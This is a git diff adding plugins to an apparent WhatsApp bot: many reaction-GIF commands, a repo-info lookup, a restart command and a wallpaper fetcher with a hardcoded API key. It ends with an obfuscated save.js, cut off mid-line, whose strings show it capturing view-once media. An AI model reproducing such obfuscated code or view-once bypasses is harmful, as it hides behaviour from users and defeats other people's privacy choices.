+ } + } +); + + +cmd( + { + pattern: "yeet", + desc: "Send a yeet reaction GIF.", + category: "fun", + react: "๐Ÿ”ช", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} yeeted @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is yeeting everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/yeet"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .yeet command:", error); + reply(`โŒ *Error in .yeet command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "blush", + desc: "Send a blush reaction GIF.", + category: "fun", + react: "๐Ÿ˜Š", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is blushing at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is blushing!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/blush"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .blush command:", error); + reply(`โŒ *Error in .blush command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "handhold", + desc: "Send a hand-holding reaction GIF.", + category: "fun", + react: "๐Ÿค", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is holding hands with @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} wants to hold hands with everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/handhold"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .handhold command:", error); + reply(`โŒ *Error in .handhold command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + + +cmd( + { + pattern: "highfive", + desc: "Send a high-five reaction GIF.", + category: "fun", + react: "โœ‹", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} gave a high-five to @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is high-fiving everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/highfive"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .highfive command:", error); + reply(`โŒ *Error in .highfive command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "nom", + desc: "Send a nom reaction GIF.", + category: "fun", + react: "๐Ÿฝ๏ธ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is nomming @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is nomming everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/nom"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .nom command:", error); + reply(`โŒ *Error in .nom command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "wave", + desc: "Send a wave reaction GIF.", + category: "fun", + react: "๐Ÿ‘‹", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} waved at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is waving at everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/wave"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .wave command:", error); + reply(`โŒ *Error in .wave command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "smile", + desc: "Send a smile reaction GIF.", + category: "fun", + react: "๐Ÿ˜", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} smiled at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is smiling at everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/smile"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .smile command:", error); + reply(`โŒ *Error in .smile command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "wink", + desc: "Send a wink reaction GIF.", + category: "fun", + react: "๐Ÿ˜‰", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} winked at @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is winking at everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/wink"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .wink command:", error); + reply(`โŒ *Error in .wink command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "happy", + desc: "Send a happy reaction GIF.", + category: "fun", + react: "๐Ÿ˜Š", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} is happy with @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is happy with everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/happy"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .happy command:", error); + reply(`โŒ *Error in .happy command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "glomp", + desc: "Send a glomp reaction GIF.", + category: "fun", + react: "๐Ÿค—", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} glomped @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is glomping everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/glomp"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .glomp command:", error); + reply(`โŒ *Error in .glomp command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "bite", + desc: "Send a bite reaction GIF.", + category: "fun", + react: "๐Ÿฆท", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} bit @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is biting everyone!` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/bite"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .bite command:", error); + reply(`โŒ *Error in .bite command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "poke", + desc: "Send a poke reaction GIF.", + category: "fun", + react: "๐Ÿ‘‰", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} poked @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} poked everyone` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/poke"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .poke command:", error); + reply(`โŒ *Error in .poke command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + + +cmd( + { + pattern: "cringe", + desc: "Send a cringe reaction GIF.", + category: "fun", + react: "๐Ÿ˜ฌ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} thinks @${mentionedUser.split("@")[0]} is cringe` + : isGroup + ? `${sender} finds everyone cringe` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/cringe"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .cringe command:", error); + reply(`โŒ *Error in .cringe command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + + +cmd( + { + pattern: "dance", + desc: "Send a dance reaction GIF.", + category: "fun", + react: "๐Ÿ’ƒ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message = mentionedUser + ? `${sender} danced with @${mentionedUser.split("@")[0]}` + : isGroup + ? `${sender} is dancing with everyone` + : `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + + const apiUrl = "https://api.waifu.pics/sfw/dance"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .dance command:", error); + reply(`โŒ *Error in .dance command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + + + +cmd( + { + pattern: "kill", + desc: "Send a kill reaction GIF.", + category: "fun", + react: "๐Ÿ”ช", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message; + if (mentionedUser) { + let target = `@${mentionedUser.split("@")[0]}`; + message = `${sender} killed ${target}`; + } else if (isGroup) { + message = `${sender} killed everyone`; + } else { + message = `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + } + + const apiUrl = "https://api.waifu.pics/sfw/kill"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .kill command:", error); + reply(`โŒ *Error in .kill command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "slap", + desc: "Send a slap reaction GIF.", + category: "fun", + react: "โœŠ", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message; + if (mentionedUser) { + let target = `@${mentionedUser.split("@")[0]}`; + message = `${sender} slapped ${target}`; + } else if (isGroup) { + message = `${sender} slapped everyone`; + } else { + message = `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + } + + const apiUrl = "https://api.waifu.pics/sfw/slap"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .slap command:", error); + reply(`โŒ *Error in .slap command:*\n\`\`\`${error.message}\`\`\``); + } + } +); + +cmd( + { + pattern: "kiss", + desc: "Send a kiss reaction GIF.", + category: "fun", + react: "๐Ÿ’‹", + filename: __filename, + use: "@tag (optional)", + }, + async (conn, mek, m, { args, q, reply }) => { + try { + let sender = `@${mek.sender.split("@")[0]}`; + let mentionedUser = m.mentionedJid[0] || (mek.quoted && mek.quoted.sender); + let isGroup = m.isGroup; + + let message; + if (mentionedUser) { + let target = `@${mentionedUser.split("@")[0]}`; + message = `${sender} kissed ${target}`; + } else if (isGroup) { + message = `${sender} kissed everyone`; + } else { + message = `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + } + + const apiUrl = "https://api.waifu.pics/sfw/kiss"; + let res = await axios.get(apiUrl); + let gifUrl = res.data.url; + + let gifBuffer = await fetchGif(gifUrl); + let videoBuffer = await gifToVideo(gifBuffer); + + await conn.sendMessage( + mek.chat, + { video: videoBuffer, caption: message, gifPlayback: true, mentions: [mek.sender, mentionedUser].filter(Boolean) }, + { quoted: mek } + ); + } catch (error) { + console.error("โŒ Error in .kiss command:", error); + reply(`โŒ *Error in .kiss command:*\n\`\`\`${error.message}\`\`\``); + } + } +); diff --git a/plugins/repoinfo.js b/plugins/repoinfo.js new file mode 100644 index 0000000000000000000000000000000000000000..73b2cef6022ac5c157b446d3254e4e8f8f6f7ef6 --- /dev/null +++ b/plugins/repoinfo.js @@ -0,0 +1,39 @@ + + +const axios = require('axios'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "srepo", + desc: "Fetch information about a GitHub repository.", + category: "other", + react: "๐Ÿƒ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const repo = args.join(' '); + if (!repo) { + return reply("Please provide a GitHub repository name in the format ๐Ÿ“Œ`owner/repo`."); + } + + const apiUrl = `https://api.github.com/repos/${repo}`; + const response = await axios.get(apiUrl); + const data = response.data; + + let repoInfo = `๐Ÿ“_*GITHUB REPOSITORY INFO BY ALI-MD-V1*_๐Ÿ“\n\n`; + repoInfo += `๐Ÿ“Œ *ษดแด€แดแด‡*: ${data.name}\n`; + repoInfo += `๐Ÿ”— *แดœส€สŸ*: ${data.html_url}\n`; + repoInfo += `๐Ÿ“ *แด…แด‡๊œฑแด„ส€ษชแด˜แด›ษชแดษด*: ${data.description}\n`; + repoInfo += `โญ *๊œฑแด›แด€ส€๊œฑ*: ${data.stargazers_count}\n`; + repoInfo += `๐Ÿด *๊œฐแดส€แด‹๊œฑ*: ${data.forks_count}\n`; + repoInfo += `\n`; + repoInfo += `*ALI-MD CREATION*\n`; + + await conn.sendMessage(from, { text: repoInfo }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`Error fetching repository data๐Ÿค•: ${e.message}`); + } +}); + diff --git a/plugins/restart.js b/plugins/restart.js new file mode 100644 index 0000000000000000000000000000000000000000..e90a64ac9e0f16940f82f3d5cf3a81fbd41e8261 --- /dev/null +++ b/plugins/restart.js @@ -0,0 +1,26 @@ + + +const config = require('../config') +const {cmd , commands} = require('../command') +const {sleep} = require('../lib/functions') + +cmd({ + pattern: "restart", + alias: ["rebot","reboot"], + react: "๐Ÿ”„", + desc: "restart the bot", + category: "owner", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +if (!isOwner) return; +const {exec} = require("child_process") +reply("restarting...") +await sleep(1500) +exec("pm2 restart all") +}catch(e){ +console.log(e) +reply(`${e}`) +} +}) diff --git a/plugins/rw-tool.js b/plugins/rw-tool.js new file mode 100644 index 0000000000000000000000000000000000000000..4d7ef1eefceadcb92e559dc244e2d96626ab0872 --- /dev/null +++ b/plugins/rw-tool.js @@ -0,0 +1,29 @@ +const { cmd } = require("../command"); +const axios = require("axios"); + +cmd({ + pattern: "rw", + alias: ["randomwall", "wallpaper"], + react: "๐ŸŒŒ", + desc: "Download random wallpapers based on keywords.", + category: "wallpapers", + use: ".rw ", + filename: __filename +}, async (conn, m, store, { from, args, reply }) => { + try { + const query = args.join(" ") || "random"; + const apiUrl = `https://pikabotzapi.vercel.app/random/randomwall/?apikey=anya-md&query=${encodeURIComponent(query)}`; + + const { data } = await axios.get(apiUrl); + + if (data.status && data.imgUrl) { + const caption = `๐ŸŒŒ *Random Wallpaper: ${query}*\n\n> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช ๐ŸŽ*`; + await conn.sendMessage(from, { image: { url: data.imgUrl }, caption }, { quoted: m }); + } else { + reply(`โŒ No wallpaper found for *"${query}"*.`); + } + } catch (error) { + console.error("Wallpaper Error:", error); + reply("โŒ An error occurred while fetching the wallpaper. Please try again."); + } +}); \ No newline at end of file diff --git a/plugins/save.js b/plugins/save.js new file mode 100644 index 0000000000000000000000000000000000000000..ed2458dd06940afafc71f307c614131488dc29c0 --- /dev/null +++ b/plugins/save.js @@ -0,0 +1 @@ +(function(_0x1465c4,_0x4f23a2){function _0x6154e4(_0x1a0e08,_0x106053){return _0x5e96(_0x106053- -0x153,_0x1a0e08);}const _0x6fed30=_0x1465c4();while(!![]){try{const _0x4af90d=-parseInt(_0x6154e4(-0x2f,-0x43))/0x1+-parseInt(_0x6154e4(-0x35,-0x3a))/0x2*(parseInt(_0x6154e4(-0x40,-0x4b))/0x3)+parseInt(_0x6154e4(-0x30,-0x3c))/0x4*(-parseInt(_0x6154e4(-0x40,-0x3f))/0x5)+-parseInt(_0x6154e4(-0x58,-0x51))/0x6*(parseInt(_0x6154e4(-0x3c,-0x44))/0x7)+-parseInt(_0x6154e4(-0x49,-0x47))/0x8+parseInt(_0x6154e4(-0x66,-0x52))/0x9+parseInt(_0x6154e4(-0x3e,-0x46))/0xa;if(_0x4af90d===_0x4f23a2)break;else _0x6fed30['push'](_0x6fed30['shift']());}catch(_0x1c5559){_0x6fed30['push'](_0x6fed30['shift']());}}}(_0x3fca,0xcfb01));const {cmd}=require(_0x39c7e2(0x4bf,0x4c0));function _0x5e96(_0x31c5b1,_0x3ed375){const _0x3fca6b=_0x3fca();return _0x5e96=function(_0x5e96c6,_0x40c7b9){_0x5e96c6=_0x5e96c6-0xfc;let _0x4df034=_0x3fca6b[_0x5e96c6];return _0x4df034;},_0x5e96(_0x31c5b1,_0x3ed375);}function _0x39c7e2(_0x24dfe6,_0x21ed30){return _0x5e96(_0x24dfe6-0x3bc,_0x21ed30);}function _0x3fca(){const _0x14c47f=['save','โŒ\x20Unsupported\x20view-once\x20media\x20type\x20for\x20saving.','imageMessage','sendMessage','14079456fwOuHF','6906nVrySa','../command','mimetype','audio/mp4','โŒ\x20An\x20error\x20occurred\x20while\x20saving\x20the\x20media:\x0a','chat','3quIsGr','utility','ptt','mtype','2494632oBcJUG','12513760rRpvkr','Owner\x20Only\x20-\x20Saves\x20a\x20quoted\x20media\x20(photo,\x20video,\x20audio,\x20view-once)\x20and\x20sends\x20it\x20to\x20your\x20DM','2422BtAkeV','173338qLIuAZ','wow','error','download','10165ZCBnyv','videoMessage','message','708sRRBIc','โŒ\x20Unsupported\x20media\x20type\x20for\x20saving.','1443634tkuHQA','image/jpeg','video/mp4','audioMessage','*๐Ÿ“›\x20แด›สœษชs\x20ษชs\x20แด€ษด\x20แดแดกษดแด‡ส€\x20แด„แดแดแดแด€ษดแด….*','>\x20*ยฉ\x20แด˜ฯƒฯ‰ั”ส€ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน\x20ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ’€*','Error\x20in\x20save\x20command:','quoted','โŒ\x20Error\x20downloading\x20the\x20media:\x0a','viewOnceMessage','vv2'];_0x3fca=function(){return _0x14c47f;};return _0x3fca();}cmd({'pattern':_0x39c7e2(0x4b8,0x4c8),'alias':[_0x39c7e2(0x4b9,0x4b7),_0x39c7e2(0x4cd,0x4c6),'๐Ÿ™‚'],'react':'๐Ÿ‰','desc':_0x39c7e2(0x4ca,0x4c8),'category':_0x39c7e2(0x4c5,0x4bb),'filename':__filename},async(_0x4499e2,_0x23396b,_0x2ccf25,{from:_0xb8c429,isOwner:_0x540bb9})=>{function _0x16747f(_0x1cd5f3,_0x19c326){return _0x39c7e2(_0x19c326- -0x249,_0x1cd5f3);}try{if(!_0x540bb9)return await _0x4499e2[_0x16747f(0x286,0x273)](_0x23396b[_0x16747f(0x26a,0x27a)],{'text':_0x16747f(0x29c,0x290)},{'quoted':_0x23396b});if(!_0x2ccf25[_0x16747f(0x2a2,0x293)])return await _0x4499e2['sendMessage'](_0x23396b[_0x16747f(0x270,0x27a)],{'text':'*๐Ÿ‘€\x20แด˜สŸแด‡แด€sแด‡\x20ส€แด‡แด˜สŸส\x20แด›แด\x20แด€\x20แด ษชแด‡แดก\x20แดษดแด„แด‡\x20แดแด‡ssแด€ษขแด‡!*'},{'quoted':_0x23396b});let _0x3b1454;try{_0x3b1454=await _0x2ccf25[_0x16747f(0x285,0x293)][_0x16747f(0x29a,0x286)]();}catch(_0x4c7615){return console[_0x16747f(0x292,0x285)]('Error\x20in\x20save\x20command:',_0x4c7615),await _0x4499e2[_0x16747f(0x264,0x273)](_0x23396b[_0x16747f(0x28a,0x27a)],{'text':_0x16747f(0x2a4,0x294)+_0x4c7615[_0x16747f(0x295,0x289)]},{'quoted':_0x23396b});}const _0x1effa5=_0x2ccf25[_0x16747f(0x28a,0x293)][_0x16747f(0x28c,0x27e)],_0x3d9a9e={'quoted':_0x23396b};let _0x5af5eb={};switch(_0x1effa5){case'imageMessage':_0x5af5eb={'image':_0x3b1454,'caption':'>\x20*ยฉ\x20แด˜ฯƒฯ‰ั”ส€ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน\x20ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ’€*','mimetype':_0x2ccf25[_0x16747f(0x289,0x293)]['mimetype']||'image/jpeg'};break;case _0x16747f(0x291,0x288):_0x5af5eb={'video':_0x3b1454,'caption':_0x16747f(0x28c,0x291),'mimetype':_0x2ccf25[_0x16747f(0x2a5,0x293)][_0x16747f(0x283,0x277)]||'video/mp4'};break;case _0x16747f(0x289,0x28f):_0x5af5eb={'audio':_0x3b1454,'mimetype':_0x16747f(0x268,0x278),'ptt':_0x2ccf25[_0x16747f(0x297,0x293)][_0x16747f(0x28e,0x27d)]||![]};break;case _0x16747f(0x29c,0x295):if(_0x2ccf25[_0x16747f(0x29c,0x293)][_0x16747f(0x286,0x289)]&&_0x2ccf25[_0x16747f(0x289,0x293)][_0x16747f(0x292,0x289)][_0x16747f(0x262,0x272)])_0x5af5eb={'image':_0x3b1454,'caption':'>\x20*ยฉ\x20แด˜ฯƒฯ‰ั”ส€ั”โˆ‚\x20ะฒัƒ\x20ฮฑโ„“ฮน\x20ะผโˆ‚โŽฏ๊ฏญฬฝ๐Ÿ’€*','mimetype':_0x16747f(0x28c,0x28d),'viewOnce':!![]};else{if(_0x2ccf25[_0x16747f(0x29f,0x293)][_0x16747f(0x276,0x289)]&&_0x2ccf25['quoted'][_0x16747f(0x293,0x289)][_0x16747f(0x292,0x288)])_0x5af5eb={'video':_0x3b1454,'caption':_0x16747f(0x29c,0x291),'mimetype':_0x16747f(0x2a0,0x28e),'viewOnce':!![]};else return await _0x4499e2[_0x16747f(0x283,0x273)](_0x23396b[_0x16747f(0x284,0x27a)],{'text':_0x16747f(0x280,0x271)},{'quoted':_0x23396b});}break;default:return await 